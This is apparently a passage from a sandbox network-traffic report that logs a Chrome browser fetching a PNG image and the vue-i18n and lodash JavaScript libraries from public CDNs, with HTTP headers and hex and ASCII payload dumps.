Access-Control-Allow-Origin: *
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2022-05-13 14:40:11 UTC 710 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 8e a0 03 00 04 00 00 00 
01 00 00 00 8e 00 00 00 00 b6 9a 42 80 00 00 3f 2f 49 44 41 54 78 01 cd 9d 59 ac 6d db 51 9e e7 bd f7 b8 37 6e e9 4c 67 
dc 80 6d 7a 22 ba 10 9a 00 7e 08 a4 e3 c1 90 28 34 12 e1 21 41 28 4a 88 10 21 02 d2 10 81 02 02 89 80 88 20 0f 09 88 
2e 40 12 d1 93 20 08 84 46 01 0c 08 08 04 1b 30 18 6c 82 e9 6d 63 83 fb 9b fa fe aa bf 66 cd b1 e6 3a e7 1a fb 9e ed 71 
cf 9a 55 f5 d7 5f 35 6a 8e 51 7b ac b9 f6 de e7 dc 7b b6 6f fa 77 f7 
Data Ascii: PNGIHDR0sRGBDeXIfMM*iB?/IDATxYmQ7nLgmz"~(4!A(J! .@ F0lmcf:qU_5jQ{{ow

2022-05-13 14:40:11 UTC 725 IN Data Raw: c4 3a 8f 63 58 2f eb 92 5e bf c1 25 c6 9c 95 ef 9c f8 ad af 1c de 55 1c ef 39 92 5f ff 13 10 07 57 0e 89 07 82 35 
07 a5 6e e4 76 39 9a 1f 24 e9 dc ec 1a bb e4 e9 98 50 dc 80 96 c4 fa ab 8c 79 cd 45 f2 22 fd 5c f0 30 0f 1c db 33 ee 0c 
9b 7e eb f0 18 b6 cf e6 c1 e7 97 b9 17 76 dd ef 05 3e 62 db 07 17 23 e4 6c 8a f6 af 31 4b 6e 78 0c f3 0f 72 70 2f 38 c3 e7 
98 8b ff 73 80 93 6b 86 71 69 3c 14 f4 c8 d5 1b 79 da 34 0e a8 49 47 aa 5e 6c b0 6e 02 f4 41 ba d0 2b 8f e6 35 77 e4 36 
7f ca b9 99 13 67 9a 69 4f dd 3e b0 33 1c 3f 63 fa 56 ee 99 4d 8c ea a9 9a cd 99 d2 79 2f b0 19 c3 02 c4 58 ef 6d c6 f8 8b 
69 62 c4 4c db 1c 76 92 4f b8 e9 1b 27 0c 73 06 e8 fd 99 b1 e4 ba 45 84 9c 78 aa 28 61 78 e7 a8 44 86 34 31 31 cb e8 5c 
81 cb 6d ce 1a 4f 1c f3 d5 bc fe 4a 32 3d 83 
Data Ascii: :cX/^%U9_W5nv9$PyE"\03~v>b#l1Knxrp/8skqi<y4IG^lnA+5w6giO>3?cVMy/XmibLvO'sEx(axD411\mOJ2=

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

34 192.168.2.3 49756 104.17.25.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:12 UTC 768 OUT GET /ajax/libs/vue-i18n/7.0.3/vue-i18n.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:12 UTC 769 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:12 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb0402b-379c"
Last-Modified: Mon, 04 May 2020 16:17:47 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: MISS
Expires: Wed, 03 May 2023 14:40:12 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jD3HS2Zzjx7LyKtwtyXhbj98tAkwVpMj
XgaN6S4gyy%2FyzHQIgg3VylbIKQXiOPXJ%2BNncxiZmRdhJvRaFERAxugGhgZjivx1ZmxvgGX%2FLygtz9KCDtH3l
xuQgMCpaBaelDe2RV6u%2B"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 70ac25df2fe5912e-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-13 14:40:12 UTC 770 IN Data Raw: 33 37 39 63 0d 0a 2f 2a 21 0a 20 2a 20 76 75 65 2d 69 31 38 6e 20 76 37 2e 30 2e 33 20 0a 20 2a 20 28 63 
29 20 32 30 31 37 20 6b 61 7a 75 79 61 20 6b 61 77 61 67 75 63 68 69 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 
65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 2
2 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 
79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 
6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 
3a 74 2e 56 75 65 49 31 38 6e 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 
Data Ascii: 379c/*! * vue-i18n v7.0.3  * (c) 2017 kazuya kawaguchi * Released under the MIT License. */!function(t,e){"o
bject"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?de
fine(e):t.VueI18n=e()}(this,fu

2022-05-13 14:40:12 UTC 770 IN Data Raw: 20 6e 75 6c 6c 21 3d 3d 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 7d 66 75 6e 63 74 69 
6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 64 2e 63 61 6c 6c 28 74 29 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 72 
28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7d 66 75 6e 63 74 69 6f 
6e 20 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2
d 2d 3b 29 65 5b 72 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 76 61 72 20 6e 3d 6e 75 6c 6c 2c 69 3d 6e 75 6c 6c 
3b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6c 65 6e 67 74 68 3f 74 28 65 5b 30 5d 29 7c 7c 41 72 72 61 79 2e 69 73 41 
72 72 61 79 28 65 5b 30 5d 29 3f 69 3d 65 5b 30 5d 3a 22 73 74 72 69 6e 
Data Ascii:  null!==t&&"object"==typeof t}function e(t){return d.call(t)===b}function r(t){return null===t||void 0===t}function 
n(){for(var e=[],r=arguments.length;r--;)e[r]=arguments[r];var n=null,i=null;return 1===e.length?t(e[0])||Array.isArray(e[0])?
i=e[0]:"strin
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2022-05-13 14:40:12 UTC 771 IN Data Raw: 70 6c 79 28 6e 2c 5b 74 5d 2e 63 6f 6e 63 61 74 28 65 29 29 3b 76 61 72 20 6e 7d 7d 66 75 6e 63 74 69 6f 6e 
20 63 28 74 29 7b 79 3d 74 3b 79 2e 76 65 72 73 69 6f 6e 26 26 4e 75 6d 62 65 72 28 79 2e 76 65 72 73 69 6f 6e 2e 73 
70 6c 69 74 28 22 2e 22 29 5b 30 5d 29 3b 63 2e 69 6e 73 74 61 6c 6c 65 64 3d 21 30 2c 4f 62 6a 65 63 74 2e 64 65 66 
69 6e 65 50 72 6f 70 65 72 74 79 28 79 2e 70 72 6f 74 6f 74 79 70 65 2c 22 24 69 31 38 6e 22 2c 7b 67 65 74 3a 66 75 6e 
63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 31 38 6e 7d 7d 29 2c 6c 28 79 29 2c 79 2e 6d 69 78 6
9 6e 28 24 29 2c 79 2e 63 6f 6d 70 6f 6e 65 6e 74 28 6b 2e 6e 61 6d 65 2c 6b 29 3b 76 61 72 20 65 3d 79 2e 63 6f 6e 66 
69 67 2e 6f 70 74 69 6f 6e 4d 65 72 67 65 53 74 72 61 74 65 67 69 
Data Ascii: ply(n,[t].concat(e));var n}}function c(t){y=t;y.version&&Number(y.version.split(".")[0]);c.installed=!0,Obje
ct.defineProperty(y.prototype,"$i18n",{get:function(){return this._i18n}}),l(y),y.mixin($),y.component(k.name,k);var e=y
.config.optionMergeStrategi

2022-05-13 14:40:12 UTC 773 IN Data Raw: 6e 28 22 30 22 21 3d 3d 74 2e 63 68 61 72 41 74 28 30 29 7c 7c 21 69 73 4e 61 4e 28 74 29 29 26 26 28 68 
28 65 29 3f 70 28 65 29 3a 22 2a 22 2b 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 29 7b 76 61 72 20 65 2c 72 2c 6e 
2c 69 2c 6f 2c 61 2c 73 2c 6c 3d 5b 5d 2c 63 3d 2d 31 2c 75 3d 41 2c 66 3d 30 2c 68 3d 5b 5d 3b 66 6f 72 28 68 5b 4d 5d 
3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 6c 2e 70 75 73 68 28 72 29 2c 72 3d 76 6f 69 
64 20 30 29 7d 2c 68 5b 57 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f 69 64 20 30 3d 3d 3d 72 3f 72 3d 6e 3a 72 2b 3d 
6e 7d 2c 68 5b 4e 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 68 5b 57 5d 28 29 2c 66 2b 2b 7d 2c 68 5b 78 5d 3d 66 75 6e 6
3 74 69 6f 6e 28 29 7b 69 66 28 66 3e 30 29 66 2d 2d 2c 75 3d 49 
Data Ascii: n("0"!==t.charAt(0)||!isNaN(t))&&(h(e)?p(e):"*"+e)}function v(t){var e,r,n,i,o,a,s,l=[],c=-1,u=A,f=0,h=[];fo
r(h[M]=function(){void 0!==r&&(l.push(r),r=void 0)},h[W]=function(){void 0===r?r=n:r+=n},h[N]=function(){h[W](),f++},h[x
]=function(){if(f>0)f--,u=I

2022-05-13 14:40:12 UTC 774 IN Data Raw: 5f 69 31 38 6e 29 74 72 79 7b 72 2e 69 31 38 6e 2e 6d 65 73 73 61 67 65 73 3d 4a 53 4f 4e 2e 70 61 72 73 65 
28 72 2e 5f 5f 69 31 38 6e 29 7d 63 61 74 63 68 28 74 29 7b 7d 74 68 69 73 2e 5f 69 31 38 6e 3d 6e 65 77 20 55 28 72 
2e 69 31 38 6e 29 2c 74 68 69 73 2e 5f 69 31 38 6e 57 61 74 63 68 65 72 3d 74 68 69 73 2e 5f 69 31 38 6e 2e 77 61 74 
63 68 49 31 38 6e 44 61 74 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 24 66 6f 72 63 65 55 70 6
4 61 74 65 28 29 7d 29 2c 28 76 6f 69 64 20 30 3d 3d 3d 72 2e 69 31 38 6e 2e 73 79 6e 63 7c 7c 72 2e 69 31 38 6e 2e 73 
79 6e 63 29 26 26 28 74 68 69 73 2e 5f 6c 6f 63 61 6c 65 57 61 74 63 68 65 72 3d 74 68 69 73 2e 24 69 31 38 6e 2e 77 
61 74 63 68 4c 6f 63 61 6c 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 
Data Ascii: _i18n)try{r.i18n.messages=JSON.parse(r.__i18n)}catch(t){}this._i18n=new U(r.i18n),this._i18nWatche
r=this._i18n.watchI18nData(function(){return t.$forceUpdate()}),(void 0===r.i18n.sync||r.i18n.sync)&&(this._localeWatche
r=this.$i18n.watchLocale(function(){r

2022-05-13 14:40:12 UTC 775 IN Data Raw: 5b 33 2c 57 5d 2c 6e 75 6d 62 65 72 3a 5b 33 2c 57 5d 2c 77 73 3a 5b 31 2c 4d 5d 2c 22 2e 22 3a 5b 32 2c 4d 
5d 2c 22 5b 22 3a 5b 49 2c 4d 5d 2c 65 6f 66 3a 5b 53 2c 4d 5d 7d 2c 56 5b 49 5d 3d 7b 22 27 22 3a 5b 4f 2c 57 5d 2c 27 
22 27 3a 5b 6a 2c 57 5d 2c 22 5b 22 3a 5b 49 2c 4e 5d 2c 22 5d 22 3a 5b 31 2c 78 5d 2c 65 6f 66 3a 52 2c 65 6c 73 65 
3a 5b 49 2c 57 5d 7d 2c 56 5b 4f 5d 3d 7b 22 27 22 3a 5b 49 2c 57 5d 2c 65 6f 66 3a 52 2c 65 6c 73 65 3a 5b 4f 2c 57 5d 
7d 2c 56 5b 6a 5d 3d 7b 27 22 27 3a 5b 49 2c 57 5d 2c 65 6f 66 3a 52 2c 65 6c 73 65 3a 5b 6a 2c 57 5d 7d 3b 76 61 72 
20 45 3d 2f 5e 5c 73 3f 28 74 72 75 65 7c 66 61 6c 73 65 7c 2d 3f 5b 5c 64 2e 5d 2b 7c 27 5b 5e 27 5d 2a 27 7c 22 5b 5e 
22 5d 2a 22 29 5c 73 3f 24 2f 2c 50 3d 66 75 6e 63 74 69 6f 6e 
Data Ascii: [3,W],number:[3,W],ws:[1,M],".":[2,M],"[":[I,M],eof:[S,M]},V[I]={"'":[O,W],'"':[j,W],"[":[I,N],"]":[1,x],eof:R,else:[I
,W]},V[O]={"'":[I,W],eof:R,else:[O,W]},V[j]={'"':[I,W],eof:R,else:[j,W]};var E=/^\s?(true|false|-?[\d.]+|'[^']*'|"[^"]*")\s?$/,P=f
unction

2022-05-13 14:40:12 UTC 777 IN Data Raw: 2c 66 6f 72 6d 61 74 74 65 72 3a 7b 7d 2c 73 69 6c 65 6e 74 54 72 61 6e 73 6c 61 74 69 6f 6e 57 61 72 6e 3a 
7b 7d 7d 3b 72 65 74 75 72 6e 20 55 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 6e 69 74 56 4d 3d 66 75 6e 63 74 69 6f 6e 28 
74 29 7b 76 61 72 20 65 3d 79 2e 63 6f 6e 66 69 67 2e 73 69 6c 65 6e 74 3b 79 2e 63 6f 6e 66 69 67 2e 73 69 6c 65 6e 
74 3d 21 30 2c 74 68 69 73 2e 5f 76 6d 3d 6e 65 77 20 79 28 7b 64 61 74 61 3a 74 7d 29 2c 79 2e 63 6f 6e 66 69 67 2e 
73 69 6c 65 6e 74 3d 65 7d 2c 55 2e 70 72 6f 74 6f 74 79 70 65 2e 77 61 74 63 68 49 31 38 6e 44 61 74 61 3d 66 75 6e 6
3 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 76 6d 2e 24 77 61 74 63 68 28 22 24 64 61 74 61 22 2c 
66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 74 28 29 7d 2c 7b 64 65 
Data Ascii: ,formatter:{},silentTranslationWarn:{}};return U.prototype._initVM=function(t){var e=y.config.silent;y.confi
g.silent=!0,this._vm=new y({data:t}),y.config.silent=e},U.prototype.watchI18nData=function(t){return this._vm.$watch("$d
ata",function(){t&&t()},{de

2022-05-13 14:40:12 UTC 778 IN Data Raw: 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 76 6d 2e 64 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 73 7d 2c 55 
2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 4e 75 6d 62 65 72 46 6f 72 6d 61 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 
72 65 74 75 72 6e 20 74 68 69 73 2e 5f 76 6d 2e 6e 75 6d 62 65 72 46 6f 72 6d 61 74 73 7d 2c 55 2e 70 72 6f 74 6f 74 79 
70 65 2e 5f 77 61 72 6e 44 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 69 29 7b 72 65 74 75 72 
6e 20 72 28 6e 29 3f 28 74 68 69 73 2e 6d 69 73 73 69 6e 67 26 26 74 68 69 73 2e 6d 69 73 73 69 6e 67 2e 61 70 70 6c 
79 28 6e 75 6c 6c 2c 5b 74 2c 65 2c 69 5d 29 2c 65 29 3a 6e 7d 2c 55 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 46 61 6c 
6c 62 61 63 6b 52 6f 6f 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 
Data Ascii: ){return this._vm.dateTimeFormats},U.prototype._getNumberFormats=function(){return this._vm.number
Formats},U.prototype._warnDefault=function(t,e,n,i){return r(n)?(this.missing&&this.missing.apply(null,[t,e,i]),e):n},U.
prototype._isFallbackRoot=function(t)

2022-05-13 14:40:12 UTC 779 IN Data Raw: 72 67 75 6d 65 6e 74 73 5b 61 2b 34 5d 3b 69 66 28 21 74 29 72 65 74 75 72 6e 22 22 3b 76 61 72 20 73 3d 
6e 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 6f 29 2c 6c 3d 73 2e 6c 6f 63 61 6c 65 7c 7c 65 2c 63 3d 74 68 69 73 2e 5f 
74 72 61 6e 73 6c 61 74 65 28 72 2c 6c 2c 74 68 69 73 2e 66 61 6c 6c 62 61 63 6b 4c 6f 63 61 6c 65 2c 74 2c 69 2c 22 
73 74 72 69 6e 67 22 2c 73 2e 70 61 72 61 6d 73 29 3b 69 66 28 74 68 69 73 2e 5f 69 73 46 61 6c 6c 62 61 63 6b 52 6f 6f 
74 28 63 29 29 7b 69 66 28 21 74 68 69 73 2e 5f 72 6f 6f 74 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 75 6e 65 78 70 65 
63 74 65 64 20 65 72 72 6f 72 22 29 3b 72 65 74 75 72 6e 28 75 3d 74 68 69 73 2e 5f 72 6f 6f 74 29 2e 74 2e 61 70 70 6c 
79 28 75 2c 5b 74 5d 2e 63 6f 6e 63 61 74 28 6f 29 29 7d 72 65 
Data Ascii: rguments[a+4];if(!t)return"";var s=n.apply(void 0,o),l=s.locale||e,c=this._translate(r,l,this.fallbackLocale,t,i,"stri
ng",s.params);if(this._isFallbackRoot(c)){if(!this._root)throw Error("unexpected error");return(u=this._root).t.apply(u,
[t].concat(o))}re

2022-05-13 14:40:12 UTC 781 IN Data Raw: 68 69 73 2e 6c 6f 63 61 6c 65 2c 74 68 69 73 2e 5f 67 65 74 4d 65 73 73 61 67 65 73 28 29 2c 6e 75 6c 6c 2c 
65 5d 2e 63 6f 6e 63 61 74 28 72 29 29 3b 76 61 72 20 69 7d 2c 55 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 74 65 3d 66 75 6e 
63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 
6e 67 74 68 2d 33 3b 6f 2d 2d 20 3e 30 3b 29 69 5b 6f 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 2b 33 5d 3b 76 61 72 20 
61 3d 6e 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 69 29 2e 6c 6f 63 61 6c 65 7c 7c 65 3b 72 65 74 75 72 6e 20 74 68 69 
73 2e 5f 65 78 69 73 74 28 72 5b 61 5d 2c 74 29 7d 2c 55 2e 70 72 6f 74 6f 74 79 70 65 2e 74 65 3d 66 75 6e 63 74 69 6f 
6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 
Data Ascii: his.locale,this._getMessages(),null,e].concat(r));var i},U.prototype._te=function(t,e,r){for(var i=[],o=argu
ments.length-3;o-- >0;)i[o]=arguments[o+3];var a=n.apply(void 0,i).locale||e;return this._exist(r[a],t)},U.prototype.te=
function(t,e){return this._

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:12 UTC 782 IN Data Raw: 22 22 7d 2c 55 2e 70 72 6f 74 6f 74 79 70 65 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 
72 20 72 3d 5b 5d 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 3b 6e 2d 2d 20 3e 30 3b 29 72 5b 6e 
5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 2b 31 5d 3b 76 61 72 20 69 3d 74 68 69 73 2e 6c 6f 63 61 6c 65 2c 6f 3d 6e 75 
6c 6c 3b 72 65 74 75 72 6e 20 31 3d 3d 3d 72 2e 6c 65 6e 67 74 68 3f 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 2
0 72 5b 30 5d 3f 6f 3d 72 5b 30 5d 3a 74 28 72 5b 30 5d 29 26 26 28 72 5b 30 5d 2e 6c 6f 63 61 6c 65 26 26 28 69 3d 72 
5b 30 5d 2e 6c 6f 63 61 6c 65 29 2c 72 5b 30 5d 2e 6b 65 79 26 26 28 6f 3d 72 5b 30 5d 2e 6b 65 79 29 29 3a 32 3d 3d 
3d 72 2e 6c 65 6e 67 74 68 26 26 28 22 73 74 72 69 6e 67 22 3d 3d 74 
Data Ascii: ""},U.prototype.d=function(e){for(var r=[],n=arguments.length-1;n-- >0;)r[n]=arguments[n+1];var i=this.local
e,o=null;return 1===r.length?"string"==typeof r[0]?o=r[0]:t(r[0])&&(r[0].locale&&(i=r[0].locale),r[0].key&&(o=r[0].key))
:2===r.length&&("string"==t

2022-05-13 14:40:12 UTC 783 IN Data Raw: 3d 3d 74 79 70 65 6f 66 20 72 5b 30 5d 26 26 28 6f 3d 72 5b 30 5d 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 
70 65 6f 66 20 72 5b 31 5d 26 26 28 69 3d 72 5b 31 5d 29 29 2c 74 68 69 73 2e 5f 6e 28 65 2c 69 2c 6f 29 7d 2c 4f 62 6a 
65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 55 2e 70 72 6f 74 6f 74 79 70 65 2c 7a 29 2c 55 2e 61 76 
61 69 6c 61 62 69 6c 69 74 69 65 73 3d 7b 64 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 3a 46 2c 6e 75 6d 62 65 72 46 6f 
72 6d 61 74 3a 77 7d 2c 55 2e 69 6e 73 74 61 6c 6c 3d 63 2c 55 2e 76 65 72 73 69 6f 6e 3d 22 37 2e 30 2e 33 22 2c 22 
75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 56 75 65 26 26 7
7 69 6e 64 6f 77 2e 56 75 65 2e 75 73 65 28 55 29 2c 55 7d 29 3b 
Data Ascii: ==typeof r[0]&&(o=r[0]),"string"==typeof r[1]&&(i=r[1])),this._n(e,i,o)},Object.defineProperties(U.prototype
,z),U.availabilities={dateTimeFormat:F,numberFormat:w},U.install=c,U.version="7.0.3","undefined"!=typeof windo
w&&window.Vue&&window.Vue.use(U),U});

2022-05-13 14:40:12 UTC 784 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

35 192.168.2.3 49757 104.16.126.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:13 UTC 784 OUT GET /lodash@4.17.4/lodash.min.js HTTP/1.1
Host: unpkg.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:13 UTC 784 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:13 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
access-control-allow-origin: *
cache-control: public, max-age=31536000
last-modified: Sat, 31 Dec 2016 22:32:41 GMT
etag: W/"11c44-YN5uQ8SiwzJidasS1P/ZCyWCruk"
via: 1.1 fly.io
fly-request-id: 01G1BAK9P5JV9H4XX5WW26YR9Y-fra
CF-Cache-Status: HIT
Age: 1731425
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 70ac25e39bbf9b74-FRA

2022-05-13 14:40:13 UTC 785 IN Data Raw: 37 64 30 66 0d 0a 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 0a 20 2a 20 4c 6f 64 61 73 68 20 6c 6f 64 61 
73 68 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 7c 20 55 6e 64 65 72 73 63 6f 72 65 2e 6a 73 20 31 2e 38 2e 33 20 75 6e 
64 65 72 73 63 6f 72 65 6a 73 2e 6f 72 67 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 
66 75 6e 63 74 69 6f 6e 20 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 73 65 74 28 74 5b 30 5d 2c 74 5b 31 5d 29 
2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 74 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 61 64 64 28 74 29 2c 6e 7d 66 75 
6e 63 74 69 6f 6e 20 72 28 6e 2c 74 2c 72 29 7b 73 77 69 74 63 68 28 72 2e 6c 65 6e 67 74 68 29 7b 63 61 73 65 20 30 
3a 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 74 29 3b 63 61 73 65 20 
Data Ascii: 7d0f/** * @license * Lodash lodash.com/license | Underscore.js 1.8.3 underscorejs.org/LICENSE */;(function()
{function n(n,t){return n.set(t[0],t[1]),n}function t(n,t){return n.add(t),n}function r(n,t,r){switch(r.length){case 0:return n.ca
ll(t);case 

2022-05-13 14:40:13 UTC 785 IN Data Raw: 65 3b 29 69 66 28 21 74 28 6e 5b 72 5d 2c 72 2c 6e 29 29 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 72 65 74 
75 72 6e 20 74 72 75 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 6e 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 2d 31 2c 65 
3d 6e 75 6c 6c 3d 3d 6e 3f 30 3a 6e 2e 6c 65 6e 67 74 68 2c 75 3d 30 2c 69 3d 5b 5d 3b 2b 2b 72 3c 65 3b 29 7b 76 61 7
2 20 6f 3d 6e 5b 72 5d 3b 74 28 6f 2c 72 2c 6e 29 26 26 28 69 5b 75 2b 2b 5d 3d 6f 29 7d 72 65 74 75 72 6e 20 69 7d 66 
75 6e 63 74 69 6f 6e 20 63 28 6e 2c 74 29 7b 72 65 74 75 72 6e 21 28 6e 75 6c 6c 3d 3d 6e 7c 7c 21 6e 2e 6c 65 6e 67 
74 68 29 26 26 2d 31 3c 64 28 6e 2c 74 2c 30 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 6e 2c 74 2c 72 29 7b 66 6f 72 28 
76 61 72 20 65 3d 2d 31 2c 75 3d 6e 75 6c 6c 3d 3d 6e 3f 30 3a 6e 2e 6c 
Data Ascii: e;)if(!t(n[r],r,n))return false;return true}function f(n,t){for(var r=-1,e=null==n?0:n.length,u=0,i=[];++r<e;){var o=n
[r];t(o,r,n)&&(i[u++]=o)}return i}function c(n,t){return!(null==n||!n.length)&&-1<d(n,t,0)}function a(n,t,r){for(var e=-1,u=null==
n?0:n.l
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2022-05-13 14:40:13 UTC 787 IN Data Raw: 65 2c 75 29 7b 72 65 74 75 72 6e 20 75 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 75 2c 69 29 7b 72 3d 65 3f 
28 65 3d 66 61 6c 73 65 2c 6e 29 3a 74 28 72 2c 6e 2c 75 2c 69 29 7d 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 41 28 6e 
2c 74 29 7b 76 61 72 20 72 3d 6e 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 6e 2e 73 6f 72 74 28 74 29 3b 72 2d 2d 3b 29 6e 
5b 72 5d 3d 6e 5b 72 5d 2e 63 3b 0a 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 6e 2c 74 29 7b 66 6f 7
2 28 76 61 72 20 72 2c 65 3d 2d 31 2c 75 3d 6e 2e 6c 65 6e 67 74 68 3b 2b 2b 65 3c 75 3b 29 7b 76 61 72 20 69 3d 74 
